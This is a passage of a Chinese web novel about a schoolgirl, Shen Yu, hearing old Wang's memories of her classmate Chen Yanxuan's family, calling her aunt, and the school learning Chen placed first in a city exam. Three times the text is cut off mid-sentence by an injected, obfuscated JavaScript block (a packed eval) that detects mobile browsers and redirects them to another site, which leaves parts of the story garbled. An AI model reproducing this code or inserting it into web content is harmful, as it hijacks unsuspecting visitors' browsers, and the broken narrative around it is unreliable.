照片年份过大，底片已经有些泛黄褪色，却在老人绘声绘色的描绘中仿佛重新恢复了当初的色彩，一如从前，让人隐隐窥见当年那一双琴瑟和鸣的璧人。 沈寓静静地在一旁听着，听他分享着往事，时而嘴角上扬。 “这张是和那臭老孙拍的，要不是梦茹和晴雅非得拉着我俩拍，我才不愿意跟这老倔拍呢，晦气。” “还有这张，你看看，是不是我穿得比他看起来更气派点。” …… 喋喋不休，一个一个摸过去。 直到几乎过完，老王的手才终于停留在最后一张照片前。 他忽然顿住，嘴巴动了动，却没有发出声音，“...” 这一次，老王没有把照片拿起来。 话语声戛然而止，站在一旁的沈寓不明就里，下意识循着他的视线望去。 认出来是刚刚那张她为之驻足了很久的五人照。 “......” 老王正朝前盯着，不知道在想什么，思绪像是飘向了很远的地方。 察觉到老王的情绪似乎有些不对劲，沈寓便默默停在了原地，没有出声。 她不知道是不是自己过于敏感，其实刚刚她就有感觉到老王似乎在有意避开这张照片，只挑挑拣拣了旁边的照片来说。 就像是……在逃避一些他不愿面对的东西，在自己的回忆中，贪婪地反复踱步。 ... 屋子里陷入安静，只剩下刚刚打开的老风扇一圈一圈，嘎吱嘎吱转动的声音。 一圈。 两圈。 三圈。 …… 沈寓在心里慢慢数着。 良久，不知道数了多少圈，才终于看见他再次有了动作。 “这张，是七八年前拍的，那时候的人，最齐了…” 老王正缓慢地摩挲着照片的木质相框，眼神空洞，口中喃喃叹道，“唉……” “可现在，都留我一个人喽。” “你说说你们，都走这么快干吗，就算打麻将这也四缺一啊...就剩下个小宣给我，也真是没良心。” 像是自言自语，又像是对着照片里的人说话。 语气里既有责怪，又有幽怨，但更多的，是一种眷念。 对照片里面的人的眷念。 “……” 这样的老王让沈寓没来由的有些不适应。 那个平常总喜欢和他们打趣，耍赖的小老头，与现在佝偻着背轻轻抚摸着照片，喃喃自语的他完全割裂开，让人无所适从。 岁月流逝，匆匆而过，带走了无数的人和事，被带走的人了却牵挂，徒留剩下的人面对往后这冗长的一生。 即使不知道他们之间具体的过往，但沈寓只听，心里就泛起了丝丝苦涩，但却不知以什么样的身份，何种言语出声安慰。 末了，他自说自话强颜欢笑道，“算了算了，不说了，在这伤春悲秋的，都过去多少年了，不念他们了。天天念，都不知道他们在那边有没有念着我呢。” 他强行转过话题，陡然转头看向一旁许久没出声的沈寓，指了指照片中的小孩。 “来，小沈，认得出这是谁不？” 沈寓看了一眼，讷讷答道：“...陈晏宣。” 老王想起之前刚认识沈寓时，沈寓在面馆说的话，“ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16138944|180389||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 还真不愧是铁哥们，这眼睛真尖。” 其实，很好认。 沈寓在心里暗暗道。 无论什么时候都冰着个脸，冷静、漠然，看不出情绪，要是不说话，不知道的人还以为他真是面瘫。 像一只...站在冰山上的燕子。 “那这个呢？”老王又指了指抱着陈晏宣的那个男人。 沈寓将自己刚刚的猜想和盘托出，缓缓试探道，“是…陈晏宣外公？” “是他，他们俩都告诉你啦。”老王笑着点了点头，“是不是这么看着小宣跟他还有点像？” “这老东西，幸好小宣性格没随了他。脾气又硬又倔，跟我比了一辈子了，副政委又怎么样，比我结婚早又怎么样，比我先抱外孙又怎么样，不还是没我活得长，还白给我捡个孙子……” 他笑骂着，声音有些沙哑，连带着自己都没察觉的轻颤。 “我们小宣，又孝顺，又懂事，有他在，我都不知道享了多少清福。” 他将手指轻轻靠向照片中那所有人都看向的小孩，隔着照片蹭了蹭他的脸，眼底浮现出笑意。 等过了会儿，似想到什么，他又哀哀叹了口气。 “这么好的孩子，非得遇上这样的父母。唉，造孽。当年孩子才八岁啊，就把他独自丢了下来，人倒是都走得痛快。” 沈寓正低头，听到这话没反应过来，身体僵了一瞬，“……” 从那次去陈晏宣家问过一次后，这是她第一次听人提及关于陈晏宣父母的事情。 沈寓或许心里有过猜测陈晏宣和父母关系并不好，但她从来没有主动具体问过这件事情。 因为她总觉得这件事对于陈晏宣来说是一根刺，是属于他私人领域的事情。这根荆刺经过时间，或许早已植根于血肉之中，不再疼于外表，而是隐隐作痛，重新将它拔起，是重新让他残忍地再受一次伤。 小燕子在这些年里，给自己搭了个巢穴，不允许任何人踏入。 所以沈寓没有去问任何人，她想等哪一天陈晏宣愿意的时候，再听他说。 可今日当她听到陈晏宣父母或许八岁就把他留下来的时候，她垂在身侧的手却不自觉蜷缩起来，揪着衣角，心里涩涩的。 所以，这八九年，他都是自己一个人吗？ 才八岁，他是怎么挺过来的？明明还是一个小孩。 难怪之前问他的时候，他说和他父母已经很久没见了。 她心里对之前陈晏宣说的话好像明朗了一点，但好像又更难受了一点。 ... 所幸老王也没有说太多，说完这句话后又把照片放了回去，“唉，聊着聊着又过了。人老了，就是喜欢回忆往事。” “走吧小沈。”他把照片一个一个再次摆好，拿起刚刚放在走廊边上的扫把，对沈寓说，“他们还在等呢，咱们先走。” 23. 姑姑. 怀着重重思绪，沈寓一路上都心不在焉。 等他们回到店里的时候，陈晏宣和孟云凡两人已经清理完了大块区域。 沈寓还沉浸在刚刚的回忆中，目光涣散。 她将扫把放下，眼神不自觉望向远处倚靠在桌边，正拿着纸巾擦汗的少年。 陈晏宣身上穿着黑色衬衫，按理说不太能看得出来流汗。但他后面脊背处氤湿的，比其他地方更深的一小块区域，还是侧面反映出了二人的劳动量确实很大。 不远处已经大汗淋漓，抱着电风扇不撒手的孟云凡更甚。 擦完脖子，手上的纸巾已经完全湿透，少年站直身体准备再从吧台那边重新抽几张纸，恰好对上站在不远处的沈寓的视线。 目光于空中交汇，似浪逐击礁石，翻涌出白色的浪花。 沈寓看见他抬眸望过来，眼中略有疑色，“...怎么了？” “你发什么呆？”他一脸莫名其妙。 “......” 意识到自己的视线或许过于热切，她连忙摇了摇头，从旁边的纸盒里抽出两张纸，向前献殷勤似地递过去，“没有，看你们流了好多汗，活也差不多干完了，我这半道跑路，没和你们同甘共苦，有一点心虚。” 陈晏宣嗤笑了一声，从沈寓手中接过纸巾，讥讽般闲闲道，“挺有自知之明。” “...”本来开开心心献殷勤的沈寓被他这话一噎，欲言又止。 随即这殷勤也不献了，把手中的纸恶狠狠地往他手里一塞，记仇地小小翻了个白眼，抱着胳膊走掉了，“切，我大人有大量，才懒得和你计较。” 话是这么说，但为了弥补自己刚刚的临阵脱逃，沈寓还是很快又加入了清扫大军。 只不过他们都已经扫得差不多了，她也没帮上什么忙。 忙活了差不多半个小时，整个面馆终于焕然一新，与台风前没什么两样。 三人也终于能停下来，在空调底下一人抱着一个风扇吹。 ... 干完活，老王把他们留了下来吃晚饭。 虽然这晚饭的时间吧...确实相比平常有点早了。 待帮老王洗完碗，仨人也闲着没事干，便拉着老王去附近的冰粉店吃夜宵，给他老人家解解闷。 兜兜转转，直到把老王溜得走不动路了仨人这才罢休。 老王回去路上还说着，“你们仨是来报复我的吗？我这老身子骨了还拉着我到处跑，真当我和你们年轻人一样啊。” 孟云凡贱嗖嗖地补充，“老王说什么呢，你今年明明是十八，正值壮年好不好。” 沈寓也煞有介事点点头，“就是啊老王，满六十减五十。” 老王又气又笑，最后给了一人一记脑瓜子，这才背着手回家了。 陈晏宣无缘无故被连坐，挨了一脑瓜后脸色几乎冻得要掉渣。 凉凉地扫了一眼旁边两个正偷笑的人。 孟云凡、沈寓两人对了下眼，立即异口同声推道，“不关我们的事，老王打的。” 陈晏宣：“......” - 结束今天的事情，等沈寓回到家中的时候，已经差不多九点多了。 她抓紧去房间洗漱，洗完从浴室出来的时候，恰好看见孟梧正在廊道春风满面地打着电话，“唉对，您是说那批货您们这边是可以提供是吧？” 她转头的时候刚好看见刚出来的沈寓，手指放在嘴边示意她不要出声，口中还在和电话的那方谈着话，“可以的呀可以的呀，我们随时都有空的啊，要是您想商议的话，我们明天就可以约着见面的……” 沈寓识趣地回了房间，瘫在床上放松着筋骨。 今天一整天还挺累的，明天还要上学，得早点睡。 她心里正琢磨今晚还要不要看会儿历史。 看吧？ 可是好累啊。 好累也要看啊。 真的不想看。 …… 脑子里像是有两个小人在打架。 过了五分钟，孟梧女士似乎打好了电话，趴在她门口的门框笑意盈盈道，“宝贝女儿，今天去哪玩了呀？” “！” 声音骤然响起，把沈寓给吓了一跳，她犹犹豫豫探向床前柜放的历史书的，伸一尺又退一丈的手蓦然滞在空中，“我靠，妈你吓死我了！” 孟梧说：“干嘛呀，你干啥事了这么心虚啊？” “……” 这不是在想今天要不要学习吗。 沈寓心里嘟囔着。 其实她想得过且过的，既然今天都这么累了，就应该好好休息，但又怕她娘来唠叨她。 沈寓不动声色地转移话题，“啊？哦，我今天和我那几个朋友去给老王店里帮忙了，就是那个我经常和你说的，我中午偶尔会去那边吃饭的那个老王面馆。” “噢，记起来了。人家王爷爷不收钱天天让你们吃白饭，你们也是该去干点活。”孟梧想起来具体是谁后点了点头。 随后她摇了摇手中手机，“好了好了，你那点小心思妈妈还能不知道？累了一天不学就不学吧，休息会儿。你妈妈我今天心情高兴，不唠叨你。” 沈寓眸光亮起，惊喜道，“真的啊！” 刚刚听了一下他们的聊天，沈寓意识到应该是公司前段时间那个问题有头绪了。 那批货供应商的抉择缠着她妈已经好几个月了，若是解决，也难怪孟梧女士会这么高兴。 “多大的人了，妈妈还能管你到什么时候啊。”孟梧笑着摇摇头，“对了，今天你姑姑来电话了啊，叫你给她回一下，你别忘了。” 沈寓立即从床上蹦起来，小跑去书桌拿手机，“遵命！” 她妈都下令了，那今天就先放纵一下吧。 可不是她故意放纵的。 再说，期中考试才刚结束呢。 孟梧看她这样子，无奈地笑了一下，叮嘱了她几句后便把房门带上出去了。 伴随着关门的声音，沈寓的视频通话也已经打到了沈昭那边。 美国和国内有时差，现在的这个点，美国应该是早上八九点。 只不过对面的人似乎还惺忪着睡眼，赖着床。 沈寓眼睁睁看见她姑姑把枕头盖在脑袋上，装死了好几秒后，才传来一阵闷闷的声音，“沈寓，你最好确保找我有什么要紧的事，不然我真的掐死你。” 沈寓：“......” 等一下，是谁先叫打电话给她的？ 她翻了个白眼，提醒道，“小姑，不是你叫我打电话给你的吗？” ... 听完这话，对面似反应了好久，才垂死梦中惊坐起，“哎呀我去！我给忘了！” “...”沈寓无言片刻，但还是很快恢复了平静，毕竟她姑姑经常干这种事情。 念在沈昭今天解救了她于背书的水深火热之中，她没有太和她计较，而是大方道，“说吧，找我什么事。” “这个呀。” 提起这个，对面翻了个身坐起来，刚刚仿佛要隔着屏幕掐死她的声音陡 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16138945|180389||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 然变调，现在变成腻得要死的讨好口吻，“咳咳，你……还记不记得姑姑之前给你说的？” 沈寓知道沈昭指的是她几个月前说要回国玩几天的事情。 “哦？你说这个啊？”沈寓迎着她姑期待的眼神，故意拖腔拿调。 等过了会儿后再一头冷水迎面浇下，“不知道。” “……” 沈昭知道沈寓故意拿乔，却没办法，毕竟是在求人办事。 “怎么能忘了呢？”她声音减弱，警惕地看了看沈寓四周，“旁边没人吧？” 沈寓不再逗她了，直接道，“没人。行了说吧，小姑，你打算什么时候回来祸害我。” “你这孩子，说话这么难听，什么叫祸害。”沈昭瞪了她一眼，“真是好心当成驴肝肺，你小姑我在国外都还惦记着你，还给你准备了礼物呢。” 末了，她又偷偷补充，“下周五晚上的飞机，记得帮我瞒一下啊。我跟你爸妈说的是下下周二才回来。” “千万要给我瞒好啊，要是事情败露，你小姑我皮就要被你爸扒掉了。” 沈寓给她摆了个“OK”的手势。 姑侄俩只是偶尔会在微信上聊天，但这视频通话倒是很少打。 上一次的视频通话....沈昭仔细回想了一下，记起之前沈寓给她提的那个好哥们的事情。 千叮咛万嘱咐好自己的事情，脑子也比刚才清醒了点。沈昭从床上起来，去厨房接了杯温水，口中问道，“差点忘了，你不是说之前有个好朋友不认识你了吗？现在重归于好没有？” 沈寓瞥了她姑一眼，“这事都过了多久了，你才终于想起来问我了啊？” 没等沈昭回答，沈寓又道，“不劳您担心，早和好了。” 沈昭开玩笑道，“哟，人家终于记起一年级的你长什么样了啊。” “...”沈寓没理。 把枕头往后放，调整到舒服的位置才躺下去。 望着天花板，呆呆地出神。 莫名又想起了今天老王随口提的那一嘴话。 她问向沈昭，“姑姑，你八岁的时候，爷爷奶奶在你身边吗？” “？”被她这风马牛不相及的话一噎，沈昭奇怪道，“那肯定在啊，八岁才崩豆大点个子，离了父母怎么活？” 是啊，才八岁，离开父母，要怎么生活？ 沈寓沉沉想着。 “当时你小的时候，哥哥嫂子不也是怕照顾不好你，才把你送回外公外婆那边去的吗？”沈昭将水杯放下，看向屏幕对面的沈寓，“怎么了？怎么忽然问起这个问题？” “你是不是在怪你爸爸妈妈当时把你送回外公外婆家啊？” 沈寓摇了摇头。 就算当时把她送回去，他们每天的电话也是从不缺席的。只要有空，便一定会回来看她。外公外婆只有她一个从小带起来的外孙，也都是当宝一样捧着。 如果说爱，她可以很自信地说从来没有缺少过。 只是，她在想陈晏宣。 他八岁的时候，会不会也很想父母。 刚刚听沈昭提起，沈寓才后知后觉想起，她离开那年，似乎正是陈晏宣八岁那年。 当时她还没来得及将八岁的生日礼物送给陈晏宣，就被送回去了。 一声招呼也没打，就这么消失在了他的世界里。 “……” 沈寓望着天花板虚无的一点。 明明就是一个很孤独的小燕子。 还非得装得那么坚强，装得什么都不在意。 24. 成绩. 台风的突如其来给了学生们在期中考试后的一段缓冲时间，在这个假期里，对考试成绩的焦虑被暂时压抑，大家获准暂时徜徉于放松的海洋里。 但假期过后，又自然而然恢复到了上学应有的秩序和轨迹当中。 台风假结束过后的半个星期，一件大事把沉闷枯燥、一潭死水的高中生活掀起了些许波澜—— 全市联考出成绩了。 这个消息先是传到年级办公室。 年级里一些年轻的老师围成了一个圈，探头探脑地在年级长的电脑旁看成绩。 被围在中间众星拱月的老卢扶了扶自己的眼镜，点开压缩包眯着眼睛瞧。 成绩是由市联考那边的出题组和市面上的一些机构联合整理的，包含了赋分之后的成绩。班级排名、校排名，直至市排名都被整理得清清楚楚，一目了然。 是以一点开，校平均分多少，联考名次多少，第一名是谁，分数多少，排名多少，尽收眼底。 周围的老师看完爆发出了几声惊呼。 “哎哟，还挺高呢。” “都说这一届苗子好，还真是名不虚传。” 大家第一眼先看的是成绩，然后跟猜奖似的再往旁边移：校排名，第一；市排名，第一。 有老师吸了口凉气。 然后再往旁边看，这个行列名次的对应名字是： 同榆实验中学，高一一班，陈晏宣。 982分。 “……” 整个办公室的氛围顿时被这群毕业不久，只教了几年书的老师们点燃，到处是此起彼伏的嘈杂声，好像跟一群高中生好像没什么两样。 “我说什么来着，我就赌这一次第一名是一班的那个小陈，你还不信。不管了，老顾给钱给钱，认赌服输。” “啥呀，二班那个李嘉成不是成绩也挺高的吗，距离第一名也就一点。” “想耍赖是不是？第一名和第二名之间差了十五分呢你跟我说就一点？这小孩单拎出来全理这六科，都七百二十多出头了。当年要是给我这十五分我都去泽大了！你别想耍赖啊，给钱，快点！” “……” 年轻的老师在吵闹着，然而久经沙场，带了数十年高中的老师看到这个成绩只是一笑而过，跟着说了几句还不错便回到工位了，只剩下一些班主任还留在原地。 一班的班主任是个男老师，名字叫林烨。 唐诗然和他站在一起，互相研究着两个班的分数。 林烨仔细看了看陈晏宣的分数，脸上表情有些沉重，“晏宣他目前很明显理科相对别的科目要更好一点，以后要分组合，其他科也就不说什么了，但他那三门主科里面语文怎么这么差。” 唐诗然睨了他一眼，“行了，人孩子都考115了还差啊。” 林烨不理，“把他语文抓上来他成绩还可以再上一层楼。” 闻言唐诗然也没说话了，静静看着自己班的成绩，偶尔和其他班的班主任攀谈几句。 老卢大略翻了一下成绩，除了关注校前十名大概在市里什么位次之后，又想起一件事。 他翻了翻两个转校生的名字。 柯苓，903，班14，年级32. 沈寓，892，班20，年级51. 他说了一句，“这两个其他省转来的学生成绩还可以啊。” 林烨关注到这一点，回道，“柯苓进步挺大的，刚来的时候还有点跟不上，现在各科都还挺平均的。” 卢裕平常还是挺关注一班的成绩的，“我记得就是她和陈晏宣同桌对吧？”想了想后他又道，“之前她妈妈来学校那个？” 林烨不动声色地点点头。 唐诗然凑热闹地看过去，看到沈寓的成绩时突然笑逐颜开，“我们沈寓考这么好呢，各科都进步好大，这物理考了87？她之前还和我说物理不太好，小骗子。” 一行一行看过去，她满意道，“这政治考得也不错，真不愧是我带出来的。” 旁边路过接水的华椿听见沈寓的名字，也凑过来看了一眼，精准找到化学那一栏，也出声叹道，“不错，这化学也可以。” 她贸然插入的声音吸引了众人的视线—— 化学，97，班排1，校排3. 唐诗然推了推她，“这叫可以？这叫非常可以了好不好！” 实验往年也会招其他省的转校生，只不过大多数人基础还是有些跟不上本地的。 同榆教育质量高，升学率、考上好大学的机会也高，这才致使大多数人宁愿让孩子来同榆受这三年苦，也要将其塞进来。每年高考空降兵，“移民户”不在少数。 被实验重点班招进来还能继续保持的，说实话少之又少。 今年招进来的这两个，说实话，还算可以。 她们几人喜出望外的声音与其他班主任、老师的声音相比起来格格不入。 出完成绩，有人欢喜有人忧，还有一些明明考得不错但要求太高的也忧。 - 消息很快从办公室传到了各个班级。 去办公室拿作业，或者路过的同学们听到小道消息，传出去后各个班都热闹了起来，纷纷讨论起成绩这事。 比知道自己成绩先的，是市联考第一名出在哪个学校的消息。 二班门口。 刚从办公室回来的林语浩，正气喘吁吁地在靠着门，对着里面喊道，“同志们，同志们，爆炸型消息，谁听！” 当时正处大课间休息，大家都在忙着各自的事情，听到他的话同时抬起头。 “......” 有人问道，“怎么了？” 林语浩神秘兮兮地走到讲台上，也不说话。 众人知道他故弄玄虚，都在底下大声嚷嚷道，“语浩大师你别卖关子了，快说啊！” “嘘！都别着急啊！”林语浩示意他们噤声，随后眼神滴溜溜地在班级里面转，终于交代。 “大家猜，咱们这次联考，市第一在哪个学校？” “我靠！出成绩了？” 底下有人惊呼，班级刹那间闹作一团。 林语浩又“嘘”了几声，让大家安静些。 众人瞧着他一副扼腕叹息的样子，心凉了半截。 “......” 有人疑道：“你这样...是什么意思，我们，输了？” 关于联考第一花落谁家这事前一个星期放台风假的时候就有人在传。 听说省中有一个人数理化对完答案几乎都接近满分，其他科也都是高得要命，没准真能拿下第一名。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16142357|180389||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 实验呼声最高的陈晏宣好像没对答案，一班也没多少人传出来过他的成绩多少。 其他几个平常校前五的倒是对完答案了，但似乎都没有什么底气说能拿市第一。 虽然一班二班经常明里暗里地争，但真要到市联考的大场面，众人还是统一战线，希望自己学校占大头的。 第一在哪个班无所谓，重点是第一在不在自己学校。 林语浩不说话。 众人先是一愣，然后才开始唏嘘，“真的假的....” “不会吧，真是省中那个陆定延啊？我靠，我一直不喜欢他来着，那小子初中的时候装死了。”有个男生拍桌而起。 “就是啊，妈的不会真那死装哥吧。”有个女生一提起他就烦。 “我也看不惯，我操了，我宁愿小宣宣拿第一我也不要他拿啊。”男男女女皆在底下抱不平。 ...... 同榆的高中倒是分流成了很多不相上下的名校，但是初中基本都是一中名列前茅。 一班二班，包括其他学校重点班的尖子生，大多都是从一中升上来的，对彼此都有些认识，也有的玩得好的。 沈寓默默听着，听到最后一句话的时候莫名有点好笑。 “小宣宣” 为什么这么亲昵？ 她没想过这个称呼也能在陈晏宣身上出现。 她戳了戳旁边听得入神的陆婷婷，笑得喘不过气，“为什么会有人叫陈晏宣小宣宣啊？” 之前也听到有人提过，她以为只是陈晏宣朋友对他的爱称，今天才知道原来这么多人似乎都知道这个称呼。 “百科全书”跟陈晏宣是初中同学，这问题恰好在她的可知范围内，“这是当时初中陈晏宣他们班的那个物理老师给他取的。” “陈晏宣是他爱徒，那老师向来爱搞怪，看陈晏宣总是不理人，就想给他取个平易近人的昵称。当时他儿子看猪猪侠，里面不是有个角色叫小呆呆吗，这是他儿子最喜欢的角色，天天在他耳边喊。他有次课上就顺口喊出来了小宣宣，一传十十传百，大家就都知道了。” 沈寓笑得直不起腰来。 “......” 这老师也是神人哈哈哈哈哈哈哈。 是怎么会把小呆呆和陈晏宣联系在一起的。 大家关注的重点都是联考第一到底是谁的消息，只有沈寓在想陈晏宣的外号。 陆婷婷不由撞了撞沈寓肩膀，示意她正经点。 两人平日的角色忽然转变了过来。 陆婷婷说：“好了好了，别笑了，这么严肃的事情呢，这可是关乎学校荣誉的事情。” “你觉得第一是谁？” 这个问题之前陆婷婷就问过了。 不过这一次的沈寓却不同于上一次的回答。 这一次的她想坚定地选择这个孤独的小燕子。 在包含他的所有选项里。 于是陆婷婷听到她开口。 “我选陈晏宣。” 少女没有丝毫犹豫，脱口而出。 同时伴随着她说出口的名字，台上的人也终于没有再吊大家胃口，说道—— “哈哈哈哈，你们都猜错了，第一是我们学校的。” “陈晏宣！982分！”